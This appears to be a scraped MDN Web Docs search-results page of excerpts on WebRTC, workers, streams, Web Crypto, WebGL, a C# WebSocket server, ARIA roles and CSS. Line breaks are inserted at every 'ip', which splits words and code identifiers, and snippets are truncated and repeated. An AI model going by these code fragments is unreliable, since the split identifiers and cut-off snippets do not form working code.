ipv6 address or a fully-qualified domain name, which corresponds to the candidate. if the value of address is comprised entirely of digits from 0-9 with periods as separators, the value is interpreted as an
ipv4 address. if the value is entirely comprised of hexadecimal digits and colon (":") characters, it is interpreted as...
...ddress = rtcicecandidatestats.address; value either an
ipv4 or
ipv6 address or a fully-qualified domain name, which corresponds to the candidate. if the value of address is comprised entirely of digits from 0-9 with periods as separators, the value is interpreted as an
ipv4 address. if the value is entirely comprised of hexadecimal digits and colon (":") characters, it is interpreted as an
ipv6 address. otherwise, the address is presumed to be a fully-qualified domain name, which is resolved first using an aaaa record (assuming
ipv6 is available), then using an a record (if no result is found or the device onlu supports
ipv4). if mult
iple
ip addresses are returned in response to the query, the user agent selects one, which is then used for the duration of ice processing. usage note...
...the addition of support for fully-qualified domain names to be used for the address brought about the renaming of the property. ...
...And 2 more matches
RTCPeerConnection: negotiationneeded event - Web APIs
event handler property rtcpeerconnection.onnegotiationneeded the negotiationneeded event is first dispatched to the rtcpeerconnection when media is first added to the connection. this starts the process of ice negotiation by instructing your code to begin exchanging ice candidates through the signaling server. ...
...ng for a descr
iption of the signaling process that begins with a negotiationneeded event. examples in this example, we use addeventlistener() to create an event handler for negotiationneeded. its role is to create an sdp offer and send it through the signaling channel to the remote peer. ...
... in this example, we use addeventlistener() to create an event handler for negotiationneeded. its role is to create an sdp offer and send it through the signaling channel to the remote peer. pc.addeventlistener("negotiationneeded", ev => { pc.createoffer() .then(offer => return pc.setlocaldescr
iption(offer)) .then(() => sendsignalingmessage({ type: "video-offer", sdp: pc.localdescr
iption })) .catch(err => { /* handle error */ ); }, false); after creating the offer, the local end is configured by calling rtcpeerconnection.setlocaldescr
iption(); then a signaling message is created and sent to the remote peer through the signaling server, to share that offer with the other peer. the other peer should recognize this message and follow up by creating its own rtcpeercon...
...And 2 more matches
RTCPeerConnection.signalingState - Web APIs
ng able to verify that your code is in the expected state when messages arrive can help avoid unexpected and avoidable failures. for example, if you receive an answer while the signalingstate isn't "have-local-offer", you know that something is wrong, since you should only receive answers after creating an offer but before an answer has been received and passed into rtcpeerconnection.setlocaldescr
iption(). your code will be more reliable if you watch for mismatched states like this and handle them gracefully. this value may also be useful during debugging, for example. in addition, when the value of this property changes, a signalingstatechange event is sent to the rtcpeerconnection instance. syntax var state = rtcpeerconnection.signalingstate; value the allowed values are those inclu...
...nstance. syntax var state = rtcpeerconnection.signalingstate; value the allowed values are those included in the enum rtcsignalingstate. rtcsignalingstate enum the rtcsignalingstate enum specifies the possible values of rtcpeerconnection.signalingstate, which indicates where in the process of signaling the exchange of offer and answer the connection currently is. ...
...ingstate enum specifies the possible values of rtcpeerconnection.signalingstate, which indicates where in the process of signaling the exchange of offer and answer the connection currently is. constant descr
iption "stable" there is no ongoing exchange of offer and answer underway. this may mean that the rtcpeerconnection object is new, in which case both the localdescr
iption and remotedescr
iption are null; it may also mean that negotiation is complete and a connection has been established. "have-local-offer" the local peer has called rtcpeerconnection.setlocaldescr
iption(), passing in sdp representing an offer (usually created by calling rtcpeerconnection.createoffer()), and the offer has been applied successfully. "have-remote-offer" the ...
...And 2 more matches
SVGLength - Web APIs
svg_lengthtype_ems = 3 svg_lengthtype_exs = 4 svg_lengthtype_px = 5 svg_lengthtype_cm = 6 svg_lengthtype_mm = 7 svg_lengthtype_in = 8 svg_lengthtype_pt = 9 svg_lengthtype_pc = 10 normative document svg 1.1 (2nd edition) example <svg height="200" onload="start();" version="1.1" width="200" xmlns="http://www.w3.org/2000/svg"> <scr
ipt type="text/javascr
ipt"><![cdata[ function start() { var rect = document.getelementbyid("myrect"); var val = rect.x.baseval; // read x in pixel and cm units console.log("value: " + val.value + ", valueinspecifiedunits: " + val.unittype + ": " + val.valueinspecifiedunits + ", valueasstring: " + val.valueasstring); // set x = 20pt and read it out in pixel and pt...
...lueinspecifiedunits + ", valueasstring: " + val.valueasstring); // convert x = 20pt to inches and read out in pixel and inch units val.converttospecifiedunits(svglength.svg_lengthtype_in); console.log("value: " + val.value + ", valueinspecifiedunits " + val.unittype + ": " + val.valueinspecifiedunits + ", valueasstring: " + val.valueasstring); } ]]></scr
ipt> <rect id="myrect" x="1cm" y="1cm" fill="green" stroke="black" stroke-width="1" width="1cm" height="1cm" /> </svg> results on a desktop monitor (pixel units will be dpi-dependent): value: 37.7952766418457, valueinspecifiedunits: 6: 1, valueasstring: 1cm value: 26.66666603088379, valueinspecifiedunits 9: 20, valueasstring: 20pt value: 26.66666603088379, valueinspeci...
...it is invalid to attempt to define a new value of this type or to attempt to switch an existing value to this type. svg_lengthtype_number 1 no unit type was provided (i.e., a unitless value was specified), which indicates a value in user units. svg_lengthtype_percentage 2 ...
...And 2 more matches
Service Worker API - Web APIs
of effective offline experiences, intercept network requests and take appropriate action based on whether the network is available, and update assets residing on the server. they will also allow access to push notifications and background sync apis. service worker concepts and usage a service worker is an event-driven worker registered against an origin and a path. it takes the form of a javascr
ipt file that can control the web-page/site that it is associated with, intercepting and modifying navigation and resource requests, and caching resources in a very granular fashion to give you complete control over how your app behaves in certain situations (the most obvious one being when the network is not available). a service worker is run in a worker context: it therefore has no dom access, a...
... is associated with, intercepting and modifying navigation and resource requests, and caching resources in a very granular fashion to give you complete control over how your app behaves in certain situations (the most obvious one being when the network is not available). a service worker is run in a worker context: it therefore has no dom access, and runs on a different thread to the main javascr
ipt that powers your app, so it is non-blocking. it is designed to be fully async; as a consequence, apis such as synchronous xhr and localstorage can't be used inside a service worker. service workers only run over https, for security reasons. having modified network requests, wide open to man in the middle attacks would be really bad. in firefox, service worker apis are also hidden and cannot be ...
...ew version is installed in the background, but not yet activated -- at this point it is called the worker in waiting. it is only activated when there are no longer any pages loaded that are still using the old service worker. as soon as there are no more pages to be loaded, the new service worker activates (becoming the active worker). activation can happen sooner using serviceworkerglobalscope.sk
ipwaiting() and existing pages can be claimed by the active worker using clients.claim(). you can listen for the installevent; a standard action is to prepare your service worker for usage when this fires, for example by creating a cache using the built in storage api, and placing assets inside it that you'll want for running your app offline. there is also an activate event. the point where this ...
...And 2 more matches
SharedWorker - Web APIs
dows, iframes or even workers. they implement an interface different than dedicated workers and have a different global scope, sharedworkerglobalscope. note: if sharedworker can be accessed from several browsing contexts, all those browsing contexts must share the exact same origin (same protocol, host and port). constructors sharedworker() creates a shared web worker that executes the scr
ipt at the specified url. properties inherits properties from its parent, eventtarget, and implements properties from abstractworker. abstractworker.onerror is an eventlistener that is called whenever an errorevent of type error bubbles through the worker. sharedworker.port read only returns a messageport object used to communicate with and control the shared worker. methods inherits...
...r an errorevent of type error bubbles through the worker. sharedworker.port read only returns a messageport object used to communicate with and control the shared worker. methods inherits methods from its parent, eventtarget, and implements methods from abstractworker. ...
...er. sharedworker.port read only returns a messageport object used to communicate with and control the shared worker. methods inherits methods from its parent, eventtarget, and implements methods from abstractworker. example in our basic shared worker example (run shared worker), we have two html pages, each of which uses some javascr
ipt to perform a simple calculation. ...
...And 2 more matches
Using readable streams - Web APIs
as a javascr
ipt developer, programmatically reading and man
ipulating streams of data received over the network, chunk by chunk, is very useful! but how do you use the streams api's readable stream functionality? this article explains the basics. note: this article assumes that you understand the use cases of readable streams, and are aware of the high-level concepts. if not, we suggest that you first read the streams concepts and usage overview and dedicated streams api concepts article, then come back. note: if you are looking for information on writable streams try using writable streams instead. browser support you can consume fetch body objects as streams and create your own custom readable streams in firefox 65+ and chrome 42+ (and equivalent chromium-based browsers). p
ipe chai...
...a syntax that looks complex at first, but actually isn't too bad. the generic syntax skeleton looks like this: const stream = new readablestream({ start(controller) { }, pull(controller) { }, cancel() { }, type, autoallocatechunksize }, { highwatermark, size() }); the constructor takes two objects as parameters. the first object is required, and creates a model in javascr
ipt of the underlying source the data is being read from. the second object is optional, and allows you to specify a custom queuing strategy to use for your stream. you'll rarely have to do this, so we'll just concentrate on the first one for now. the first object can contain up to five members, only the first of which is required: start(controller) -- a method that is called once, immediately a...
... in our simple tee example (see it live also). this example works much the same way as our simple random stream, except that when the button is pressed to stop generating random strings, the custom stream is taken and teed, and both resulting streams are then read: function teestream() { const teedoff = stream.tee(); readstream(teedoff[0], list2); readstream(teedoff[1], list3); } p
ipe chains one very experimental feature of streams is the ability to p
ipe streams into one another (called a p
ipe chain). this involves two methods -- readablestream.p
ipethrough(), which p
ipes a readable stream through a writer/reader pair to transform one data format into another, and readablestream.p
ipeto(), which p
ipes a readable stream to a writer acting as an end point for the p
ipe chain. th...
...And 2 more matches
SubtleCrypto.encrypt() - Web APIs
c the encrypt() method of the subtlecrypto interface encrypts data. it takes as its arguments a key to encrypt with, some algorithm-specific parameters, and the data to encrypt (also known as "plaintext"). it returns a promise which will be fulfilled with the encrypted data (also known as "c
iphertext"). syntax const result = crypto.subtle.encrypt(algorithm, key, data); parameters algorithm is an object specifying the algorithm to be used and any extra parameters if required: to use rsa-oaep, pass an rsaoaepparams object. to use aes-ctr, pass an aesctrparams object. to use aes-cbc, pass an aescbcparams object. to use aes-gcm, pass an aesgcmparams object. key is a cryptokey containing the key to be used for encryption. data is a buffersource containing...
...ct. to use aes-ctr, pass an aesctrparams object. to use aes-cbc, pass an aescbcparams object. to use aes-gcm, pass an aesgcmparams object. key is a cryptokey containing the key to be used for encryption. data is a buffersource containing the data to be encrypted (also known as the plaintext). return value result is a promise that fulfills with an arraybuffer containing the "c
iphertext". exceptions the promise is rejected when the following exceptions are encountered: invalidaccesserror raised when the requested operation is not valid for the provided key (e.g. invalid encryption algorithm, or invalid key for the specified encryption algorithm). operationerror raised when the operation failed for an operation-specific reason (e.g. algorithm parameters of inva...
... algorithm parameters of invalid sizes, or aes-gcm plaintext longer than 239-256 bytes). supported algorithms the web crypto api provides four algorithms that support the encrypt() and decrypt() operations. one of these algorithms -- rsa-oaep -- is a public-key cryptosystem. the other three encryption algorithms here are all symmetric algorithms, and they're all based on the same underlying c
ipher, aes (advanced encryption standard). the difference between them is the mode. the web crypto api supports three different aes modes: ctr (counter mode) cbc (c
ipher block chaining) gcm (galois/counter mode) it's strongly recommended to use authenticated encryption, which includes checks that the c
iphertext has not been modified by an attacker. authentication helps protect against chosen-...
...And 2 more matches
Touch.radiusY - Web APIs
note: this attribute has not been formally standardized. it is specified in the touch events - level 2 draft specification and not in touch events recommendation. this attribute is not widely implemented. ...
... note: this attribute has not been formally standardized. it is specified in the touch events - level 2 draft specification and not in touch events recommendation. this attribute is not widely implemented. ...
... note: this attribute has not been formally standardized. it is specified in the touch events - level 2 draft specification and not in touch events recommendation. this attribute is not widely implemented. ...
...And 2 more matches
Touch.rotationAngle - Web APIs
note: this attribute has not been formally standardized. it is specified in the touch events - level 2 draft specification and not in touch events recommendation. this attribute is not widely implemented. ...
... note: this attribute has not been formally standardized. it is specified in the touch events - level 2 draft specification and not in touch events recommendation. this attribute is not widely implemented. ...
... note: this attribute has not been formally standardized. it is specified in the touch events - level 2 draft specification and not in touch events recommendation. this attribute is not widely implemented. ...
...And 2 more matches
Basic scissoring - Web APIs
clearing the drawing buffer when scissoring applies this is a simple demonstration of a rendering with scissor(). although the clear() drawing command writes the clear color (set by clearcolor()) to all pixels in the drawing buffer, scissor() defines a mask that only allows pixels inside the specified rectangular area to be updated. this is a good opportunity to talk about the difference between pixels and fragments. ...
...nside the specified rectangular area to be updated. this is a good opportunity to talk about the difference between pixels and fragments. a pixel is a picture element (in practice, a point) on the screen, or a single element of the drawing buffer, that area in memory that holds your pixel data (such as rgba color components). a fragment refers to the pixel while it is being handled by the webgl p
ipeline. the reason for this distinction is that fragment color (and other fragment values, such as depth) may be man
ipulated and changed several times during graphics operations before finally being written to the screen. we have already seen how fragment color changes during graphics operations, by applying color masking. in other cases, the fragments may be discarded altogether (so the pixel val...
...ations, by applying color masking. in other cases, the fragments may be discarded altogether (so the pixel value is not updated), or it may interact with the already existing pixel value (such as when doing color blending for non-opaque elements in the scene). here we see another example of the distinction between fragments and pixels. scissoring is a distinct stage in the webgl/opengl graphics p
ipeline (it occurs after color clearing, but before color masking). before the actual pixels are updated, fragments must go through the scissor test. if the fragments pass the scissor test, they continue down the graphics p
ipeline, and the corresponding pixels are updated on the screen. if they fail the test, they are immediately discarded, no further processing occurs, and pixels are not updated. b...
...And 2 more matches
Boilerplate 1 - Web APIs
<< previousnext >> this example describes repeated pieces of code that will be hidden from now on, as well as defining a javascr
ipt utility function to make webgl initialization easier. boilerplate code for setting up webgl rendering context by now you are quite used to seeing the same pieces of html, css, and javascr
ipt repeated again and again. so we are going to hide them from now on. this would allow us to focus on the interesting pieces of code that are most relevant for learning webgl. specifically, the html has a <p> element that contains some descr
iptive text about the page and may also hold error messages; a <canvas> element; and optionally a <button>. the css contains rules for body, canvas, and button. any additional non-trivial css and html will be displayed on ...
... most relevant for learning webgl. specifically, the html has a <p> element that contains some descr
iptive text about the page and may also hold error messages; a <canvas> element; and optionally a <button>. the css contains rules for body, canvas, and button. any additional non-trivial css and html will be displayed on the pages of specific examples. in following examples, we will use a javascr
ipt helper function, getrenderingcontext(), to initialize the webgl rendering context. by now, you should be able to understand what the function does. ...
...]</p> <button>[ optional button element. ...
...And 2 more matches
Lifetime of a WebRTC session - Web APIs
xample with a step-by-step explanation of what the code does. this page is currently under construction, and some of the content will move to other pages as the webrtc guide material is built out. pardon our dust! establishing the connection the internet is big. really big. it's so big that years ago, smart people saw how big it was, how fast it was growing, and the limitations of the 32-bit
ip addressing system, and realized that something had to be done before we ran out of addresses to use, so they started working on designing a new 64-bit addressing system. but they realized that it would take longer to complete the transition than 32-bit addresses would last, so other smart people came up with a way to let mult
iple computers share the same 32-bit
ip address. network address transla...
...d that it would take longer to complete the transition than 32-bit addresses would last, so other smart people came up with a way to let mult
iple computers share the same 32-bit
ip address. network address translation (nat) is a standard which supports this address sharing by handling routing of data inbound and outbound to and from devices on a lan, all of which are sharing a single wan (global)
ip address. the problem for users is that each individual computer on the internet no longer necessarily has a unique
ip address, and, in fact, each device's
ip address may change not only if they move from one network to another, but if their network's address is changed by nat and/or dhcp. for developers trying to do peer-to-peer networking, this introduces a conundrum: without a unique identifie...
... defined by the specification, just for webrtc. since webrtc doesn't live in a vacuum, there is likely other connectivity in play, so it makes sense to avoid having to add additional connection channels for signaling if an existing one can be used. in order to exchange signaling information, you can choose to send json objects back and forth over a websocket connection, or you could use xmpp or s
ip over an appropriate channel, or you could use xmlhttprequest over https with polling, or any other combination of technologies you can come up with. you could even use email as the signaling channel. it's also worth noting that the channel for performing signaling doesn't even need to be over the network. one peer can output a data object that can be printed out, physically carried (on foot or b...
...And 2 more matches
Writing a WebSocket server in C# - Web APIs
e over a tcp (transmission control protocol) connection. luckily, c# has a tcplistener class which does as the name suggests. it is in the system.net.sockets namespace. it is a good idea to include the namespace with the using keyword in order to write less. it allows usage of a namespace's classes without typing the full namespace every time. tcplistener constructor: tcplistener(system.net.
ipaddress localaddr, int port) localaddr specifies the
ip of the listener, and port specifies the port. to create an
ipaddress object from a string, use the parse static method of
ipaddress. methods: start() system.net.sockets.tcpclient accepttcpclient() waits for a tcp connection, accepts it and returns it as a tcpclient object. here's a barebones server implementation: using system.n...
...om a string, use the parse static method of
ipaddress. methods: start() system.net.sockets.tcpclient accepttcpclient() waits for a tcp connection, accepts it and returns it as a tcpclient object. ...
...112, 16, 109}; byte[] mask = new byte[4] {61, 84, 35, 6}; for (int i = 0; i < encoded.length; i++) { decoded[i] = (byte)(encoded[i] ^ mask[i % 4]); } put together wsserver.cs // // csc wsserver.cs // wsserver.exe using system; using system.net; using system.net.sockets; using system.text; using system.text.regularexpressions; class server { public static void main() { string
ip = "127.0.0.1"; int port = 80; var server = new tcplistener(
ipaddress.parse(
ip), port); server.start(); console.writeline("server has started on {0}:{1}, waiting for a connection...",
ip, port); tcpclient client = server.accepttcpclient(); console.writeline("a client connected."); networkstream stream = client.getstream(); // ente...
...And 2 more matches
Using the Web Audio API - Web APIs
ng within the web audio api is based around the concept of an audio graph, which is made up of nodes. the web audio api handles audio operations inside an audio context, and has been designed to allow modular routing. basic audio operations are performed with audio nodes, which are linked together to form an audio routing graph. you have input nodes, which are the source of the sounds you are man
ipulating, modification nodes that change those sounds as desired, and output nodes (destinations), which allow you to save or hear those sounds. several audio sources with different channel layouts are supported, even within a single context. because of this modular design, you can create complex audio functions with dynamic effects. audio context to be able to do anything with the web audio api...
...he dom. we'll expose the song on the page using an <audio> element. <audio src="mycooltrack.mp3"></audio> note: if the sound file you're loading is held on a different domain you will need to use the crossorigin attribute; see cross origin resource sharing (cors) for more information. to use all the nice things we get with the web audio api, we need to grab the source from this element and p
ipe it into the context we have created. lucky for us there's a method that allows us to do just that -- audiocontext.createmediaelementsource: // get the audio element const audioelement = document.queryselector('audio'); // pass it into the audio context const track = audiocontext.createmediaelementsource(audioelement); note: the <audio> element above is represented in the dom by an object of...
...ed intact; we are merely allowing the sound to be available to the web audio api. controlling sound when playing sound on the web, it's important to allow the user to control it. depending on the use case, there's a myriad of options, but we'll provide functionality to play/pause the sound, alter the track's volume, and pan it from left to right. controlling sound programmatically from javascr
ipt code is covered by browsers' autoplay support policies, as such is likely to be blocked without permission being granted by the user (or a whitelist). autoplay policies typically require either explicit permission or a user engagement with the page before scr
ipts can trigger audio to play. these special requirements are in place essentially because unexpected sounds can be annoying and intrusiv...
...And 2 more matches
Web Authentication API - Web APIs
tended to provide an overview. the full set of required fields, optional fields, and their meanings for creating a registration request can be found in the publickeycredentialcreationoptions dictionary. likewise, the full set of response fields can be found in the publickeycredential interface (where publickeycredential.response is the authenticatorattestationresponse interface). note most javascr
ipt programmers that are creating an application will only really care about steps 1 and 5 where the create() function is called and subsequently returns; however, steps 2, 3, and 4 are essential to understanding the processing that takes place in the browser and authenticator and what the resulting data means. figure 1 - a diagram showing the sequence of actions for a web authentication registra...
...ssociated with each action. the registration steps are: application requests registration - the application makes the initial registration request. the protocol and format of this request is outside of the scope of the web authentication api. server sends challenge, user info, and relying party info - the server sends a challenge, user information, and relying party information to the javascr
ipt program. the protocol for communicating with the server is not specified and is outside of the scope of the web authentication api. typically, server communications would be rest over https (probably using xmlhttprequest or fetch), but they could also be soap, rfc 2549 or nearly any other protocol provided that the protocol is secure. the parameters received from the server will be passed to the...
...ation actions in figure 1. the primary differences between registration and authentication are that: 1) authentication doesn't require user or relying party information; and 2) authentication creates an assertion using the previously generated key pair for the service rather than creating an attestation with the key pair that was burned into the authenticator during manufacturing. again, the descr
iption of authentication below is a broad overview rather than getting into all the options and features of the web authentication api. the specific options for authenticating can be found in the publickeycredentialrequestoptions dictionary, and the resulting data can be found in the publickeycredential interface (where publickeycredential.response is the authenticatorassertionresponse interface) . ...
...And 2 more matches
Web Workers API - Web APIs
web workers makes it possible to run a scr
ipt operation in a background thread separate from the main execution thread of a web application. the advantage of this is that laborious processing can be performed in a separate thread, allowing the main (usually the ui) thread to run without being blocked/slowed down. web workers concepts and usage a worker is an object created using a constructor (e.g. worker()) that runs a named javascr
ipt file -- this file contains the code that will run in the worker thread; workers run in another global context that is different from the current window. ...
... a worker is an object created using a constructor (e.g. worker()) that runs a named javascr
ipt file -- this file contains the code that will run in the worker thread; workers run in another global context that is different from the current window. this context is represented by either a dedicatedworkerglobalscope object (in the case of dedicated workers - workers that are utilized by a single scr
ipt), or a sharedworkerglobalscope (in the case of shared workers - workers that are shared between mult
iple scr
ipts). you can run whatever code you like inside the worker thread, with some exceptions. for example, you can't directly man
ipulate the dom from inside a worker, or use some default methods and properties of the window object. but you can use a large number of items available under windo...
... may in turn spawn new workers, as long as those workers are hosted within the same origin as the parent page. in addition, workers may use xmlhttprequest for network i/o, with the exception that the responsexml and channel attributes on xmlhttprequest always return null. in addition to dedicated workers, there are other types of worker: shared workers are workers that can be utilized by mult
iple scr
ipts running in different windows, iframes, etc., as long as they are in the same domain as the worker. they are a little more complex than dedicated workers -- scr
ipts must communicate via an active port. see sharedworker for more details. serviceworkers essentially act as proxy servers that sit between web applications, the browser, and the network (when available). they are intended, amo...
...And 2 more matches
Window.close() - Web APIs
note also that close() has no effect when called on window objects returned by htmliframeelement.contentwindow. ...
... note also that close() has no effect when called on window objects returned by htmliframeelement.contentwindow. ...
... note also that close() has no effect when called on window objects returned by htmliframeelement.contentwindow. ...
...And 2 more matches
Worker() - Web APIs
it must obey the same-origin policy. options optional an object containing option properties that can be set when creating the object instance. ...
... the same-origin policy. note: that there is a disagreement among browser manufacturers about whether a data uri is of the same origin or not. though gecko 10.0 (firefox 10.0 / thunderbird 10.0 / seamonkey 2.7) and later accept data uris, that's not the case in all other browsers. syntax var myworker = new worker(aurl, options); parameters aurl a usvstring representing the url of the scr
ipt the worker will execute. it must obey the same-origin policy. options optional an object containing option properties that can be set when creating the object instance. available properties are as follows: type: a domstring specifying the type of worker to create. the value can be classic or module. if not specified, the default used is classic. credentials: a domstring specifying the ty...
...: a domstring specifying an identifying name for the dedicatedworkerglobalscope representing the scope of the worker, which is mainly useful for debugging purposes. exceptions a securityerror is raised if the document is not allowed to start workers, e.g. if the url has an invalid syntax or if the same-origin policy is violated. ...
...And 2 more matches
Worker.onmessage - Web APIs
enthandler, that is a function to be called when the message event occurs. these events are of type messageevent and will be called when the worker's parent receives a message (i.e. from the dedicatedworkerglobalscope.postmessage method). note: the message payload is available in the message event's data property. syntax myworker.onmessage = function(e) { ... } example the following code sn
ippet shows creation of a worker object using the worker() constructor. messages are passed to the worker when the value inside the form input first changes. an onmessage handler is also present, to deal with messages that are passed back from the worker. var myworker = new worker('worker.js'); first.onchange = function() { myworker.postmessage([first.value,second.value]); console.log('message...
...message handler is also present, to deal with messages that are passed back from the worker. ...
...k from the worker. ...
...And 2 more matches
init() - Web APIs
globalobject the object to use as the global for our request. often, this is the outer window, but it may also be a sandbox or backstage pass. this may be null, but if it is, the request cannot create a document. ...
... globalobject the object to use as the global for our request. often, this is the outer window, but it may also be a sandbox or backstage pass. this may be null, but if it is, the request cannot create a document. ...
... globalobject the object to use as the global for our request. often, this is the outer window, but it may also be a sandbox or backstage pass. this may be null, but if it is, the request cannot create a document. ...
...And 2 more matches
ARIA: timer role - Accessibility
the timer role indicates to assistive technologies that an element is a numerical counter listing the amount of elapsed time from a starting point or the remaining time until an end point. <div role="timer" id="eggtimer">0</div> this defines this div element as a timer with no remaining time. descr
iption the timer role indicates to assistive technologies that this part of the web content is a live region containing a timer listing the time remaining or elapsed time. a timer's inner text should be an updating current time measurement. while the value does not necessarily need to be machine parsable, it should continuously update at regular intervals unless the timer is paused or reaches its end-point. associated wai-aria roles, states, and properties aria-label used to provide th...
...vals unless the timer is paused or reaches its end-point. associated wai-aria roles, states, and properties aria-label used to provide the name of the timer. aria-live elements with the role timer have an implicit aria-live value of off. aria-describedby used to indicate the idref of an element that contains additional instructions for navigating or operating this element. ...
...its end-point. associated wai-aria roles, states, and properties aria-label used to provide the name of the timer. aria-live elements with the role timer have an implicit aria-live value of off. aria-describedby used to indicate the idref of an element that contains additional instructions for navigating or operating this element. aria-roledescr
iption used to give the timer a more descr
iptive role text for screen readers to speak. ...
...And 2 more matches
ARIA: grid role - Accessibility
uses fall into two categories: presenting tabular information (data grids) and grouping other widgets (layout grids). even though both data grids and layout grids employ the same aria role...
...uses fall into two categories: presenting tabular information (data grids) and grouping other widgets (layout grids). ...
...o be owned by elements with a row role. rows can be grouped using rowgroups. if the grid is used as an interactive widget, keyboard interactions need to be implemented. associated aria roles, states, and properties roles treegrid (subclass) if a grid has columns that can expanded or collapsed, a treegrid can be used. row a row inside the grid. rowgroup a group containing one or mult
iple rows. states and properties aria-level indicates the hierarchical level of the grid within other structures. aria-multiselectable if aria-multiselectable is set to true, mult
iple items in the grid can be selected. the default value is false. aria-readonly if the user can navigate the grid but not change the value or values of the grid, the aria-readonly should be set to true. the defa...
...And 2 more matches
ARIA: checkbox role - Accessibility
/label> the first rule of aria is if a native html element or attribute has the semantics and behavior you require, use it instead of re-purposing an element and adding aria. instead use the native html checkbox of <input type="checkbox">, which natively provides all the functionality required: <input type="checkbox" id="chk1-label"> <label for="chk1-label">remember my preferences</label> descr
iption the native html checkbox form control can only have two checked states ("checked" or "not checked"), with an indeterminate state settable via javascr
ipt. similarly, an element with role="checkbox" can expose three states through the aria-checked attribute: true, false, or mixed. since a checkbox is an interactive control, it must be focusable and keyboard accessible. if the role is applie...
...ree possible values: true the checkbox is checked false the checkbox is not checked mixed the checkbox is partially checked, or indeterminate tabindex="0" used to make it focusable so the assistive technology user can tab to it and start reading right away. ...
... html <span role="checkbox" id="chkpref" aria-checked="false" onclick="changecheckbox()" onkeypress="changecheckbox()" tabindex="0" aria-labelledby="chk1-label"></span> <label id="chk1-label" onclick="changecheckbox()" onkeypress="changecheckbox()">remember my preferences</label> css [role="checkbox"] { padding:5px; } [aria-che...
...And 2 more matches
Basic form hints - Accessibility
wai-aria, the accessible rich internet applications specification from the w3c's web accessibility initiative, provides the aria-labelledby attribute for these cases. the example below shows a radio button group implemented using an unordered list. note that on line 3, the <ul> element sets the aria-labelledby attribute to rg1_label, the id of the <h3> element o...
..."presentation" src="radio-unchecked.gif" /> thai </li> <li id="r2" tabindex="-1" role="radio" aria-checked="false"> <img role="presentation" src="radio-unchecked.gif" /> subway </li> <li id="r3" tabindex="0" role="radio" aria-checked="true"> <img role="presentation" src="radio-checked.gif" /> radio maria </li> </ul> describing with aria form controls sometimes have a descr
iption associated with them, in addition to the label. aria provides the aria-describedby attribute to directly associate the descr
iption with the control. the example below shows a <button> element that is described by a sentence in a separate <div> element. the aria-describedby attribute on the <button> references the id of the <div>. <button aria-describedby="descr
iptionrevert">revert</button> ...
...d with them, in addition to the label. aria provides the aria-describedby attribute to directly associate the descr
iption with the control. the example below shows a <button> element that is described by a sentence in a separate <div> element. the aria-describedby attribute on the <button> references the id of the <div>. <button aria-describedby="descr
iptionrevert">revert</button> <div id="descr
iptionrevert">reverting will undo any changes that have been made since the last save.</div> note: the aria-describedby attribute is used for other purposes, in addition to form controls. required and invalid fields note: now that required is available to more than 97% of users globally, it is no longer recommended that you use both required and aria-required. web...
...And 2 more matches
font-weight - CSS: Cascading Style Sheets
there are generally limited weights available for a particular font family. when a specified weight doesn't exist, a nearby weight is used. fonts lacking bold are often synthesized by the user agent. ...
... there are generally limited weights available for a particular font family. when a specified weight doesn't exist, a nearby weight is used. fonts lacking bold are often synthesized by the user agent. ...
... specified in the @font-face rule. the font-weight property can separately be used to set how thick or thin characters in text should be displayed. for a particular font family, authors can download various font faces which correspond to the different styles of the same font family, and then use the font-weight descr
iptor to explicitly specify the font face's weights. the values for the css descr
iptor is same as that of its corresponding font property. ...
...And 2 more matches
src - CSS: Cascading Style Sheets
the src css descr
iptor of the @font-face rule specifies the resource containing font data. it is required for the @font-face rule to be valid. ...
...the format hint co...
..."opentype"); values <url> [ format( <string># ) ]? specifies an external reference consisting of a <url>, followed by an optional hint using the format() function to describe the format of the font resource referenced by that url. the format hint contains a comma-separated list of format strings that denote well-known font formats. ...
...And 2 more matches
@media - CSS: Cascading Style Sheets
the @media css at-rule can be used to apply part of a style sheet based on the result of one or more media queries. with it, you specify a media query and a block of css to apply to the document if and only if the media query matches the device on which the content is being used. note: in javascr
ipt, the rules created using @media can be accessed with the cssmediarule css object model interface. syntax the @media at-rule may be placed at the top level of your code or nested inside any other conditional group at-rule. /* at the top level of your code */ @media screen and (min-width: 900px) { article { padding: 1rem 3rem; } } /* nested within another conditional at-rule */ @supports (display: flex) { @media screen and (min-width: 900px) { article { display: flex; ...
...any other conditional group at-rule. /* at the top level of your code */ @media screen and (min-width: 900px) { article { padding: 1rem 3rem; } } /* nested within another conditional at-rule */ @supports (display: flex) { @media screen and (min-width: 900px) { article { display: flex; } } } for a discussion of media query syntax, please see using media queries. descr
iption media types media types describe the general category of a device. except when using the not or only logical operators, the media type is optional and the all type will be implied. all suitable for all devices. print intended for paged material and documents viewed on a screen in print preview mode. (please see paged media for information about formatting issues that are specific to t...
...colors added in media queries level 5. prefers-reduced-motion the user prefers less motion on the page added in media queries level 5. prefers-reduced-transparency the user prefers reduced transparency added in media queries level 5. resolution pixel density of the output device scan scanning process of the output device scr
ipting detects whether scr
ipting (i.e. javascr
ipt) is available added in media queries level 5. update how frequently the output device can modify the appearance of content added in media queries level 4. width width of the viewport including width of scrollbar accessibility concerns to best accommodate people who adjust a site's text size, use ems when y...
...And 2 more matches
Detecting CSS animation support - CSS: Cascading Style Sheets
this article, based on this blog post by chris heilmann, demonstrates a technique for doing this. ...
...efox, the property will be mozanimation and the keyframe prefix -moz- and with chrome it'll be webkitanimation and -webkit-. notice browsers don't make it easy with the switching between camelcase and hyphen-ation. animating using the correct syntax for different browsers now that you know if css animation is supported or not, we can animate. ...
... to define our keyframes usi...
...And 2 more matches
Using CSS animations - CSS: Cascading Style Sheets
css animations make it possible to animate transitions from one css style configuration to another. animations consist of two components, a style describing the css animation and a set of keyframes that indicate the start and end states of the animation's style, as well as possible intermediate waypoints. there are three key advantages to css animations over traditional scr
ipt-driven animation techniques: they're easy to use for simple animations; you can create them without even having to know javascr
ipt. the animations run well, even under moderate system load. simple animations can often perform poorly in javascr
ipt (unless they're well made). the rendering engine can use frame-sk
ipping and other techniques to keep the performance as smooth as possible. letting the browser control ...
...ation shorthand is useful for saving space. as an example, the rule we've been using through this article: p { animation-duration: 3s; animation-name: slidein; animation-iteration-count: infinite; animation-direction: alternate; } could be replaced by p { animation: 3s infinite alternate slidein; } note: you can find more details out at the animation reference page: setting mult
iple animation property values the css animation longhand values can accept mult
iple values, separated by commas -- this feature can be used when you want to apply mult
iple animations in a single rule, and set separate durations, iteration counts, etc. for the different animations. let's look at some quick examples to explain the different permutations: in this first example, we have three animati...
